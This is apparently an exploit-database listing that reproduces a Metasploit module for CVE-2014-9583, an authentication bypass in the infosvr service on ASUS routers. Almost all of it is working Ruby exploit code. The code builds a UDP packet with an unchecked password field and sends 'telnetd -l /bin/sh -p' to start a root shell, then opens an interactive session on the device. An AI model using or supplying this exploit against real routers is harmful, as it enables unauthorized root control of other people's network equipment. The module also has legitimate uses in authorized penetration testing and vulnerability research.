Asus infosvr authentication bypass command execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-24 | Type : remote | Platform : hardware

---

[+] Code ...

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'ASUS infosvr Auth Bypass Command Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the
infosvr service running on UDP port 9999 on various ASUS routers to
execute arbitrary commands as root.

This module launches the BusyBox Telnet daemon on the port specified
in the TelnetPort option to gain an interactive remote shell.

This module was tested successfully on an ASUS RT-N12E with firmware
version 2.0.0.35.

Numerous ASUS models are reportedly affected, but untested.
},
'Author' =>
[
'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
'jduck', # Independent discovery and C exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['CVE', '2014-9583'],
['EDB', '35688'],
['URL', 'https://github.com/jduck/asus-cmd']
],
'DisclosureDate' => 'Jan 4 2015',
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0))
register_options [
Opt::RPORT(9999),
OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]),
OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
]
register_advanced_options [
# If the session is killed (CTRL+C) rather than exiting cleanly,
# the telnet port remains open, but is unresponsive, and prevents
# re-exploitation until the device is rebooted.
OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])
]
end

def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end

def telnet_port
datastore['TelnetPort']
end

def request(cmd)
pkt = ''
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
pkt << "\x0C"
# PacketType [byte] ; NET_PACKET_TYPE_CMD
pkt << "\x15"
# OpCode [word] ; NET_CMD_ID_MANU_CMD
pkt << "\x33\x00"
# Info [dword] ; Comment: "Or Transaction ID"
pkt << Rex::Text.rand_text_alphanumeric(4)
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
pkt << Rex::Text.rand_text_alphanumeric(6)
# Password [byte[32]] ; Not checked at all
pkt << "\x00" * 32
# Command Length + \x00 + Command padded to 512 bytes
pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")
end

def exploit
connect_udp
print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"
disconnect_udp

vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
Rex.sleep 3

vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."

sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
'PeerPort' => telnet_port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => telnet_timeout

if sock.nil?
fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
end

vprint_status "#{rhost} - Trying to establish a telnet session..."

prompt = negotiate_telnet sock
if prompt.nil?
sock.close
fail_with Failure::Unknown, 'Unable to establish a telnet session'
end

print_good "#{rhost} - Telnet session successfully established..."

handler sock
end

def negotiate_telnet(sock)
prompt = '#'
Timeout.timeout(datastore['TelnetBannerTimeout']) do
while true
data = sock.get_once(-1, telnet_timeout)
if !data or data.length == 0
return nil
elsif data.include? prompt
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end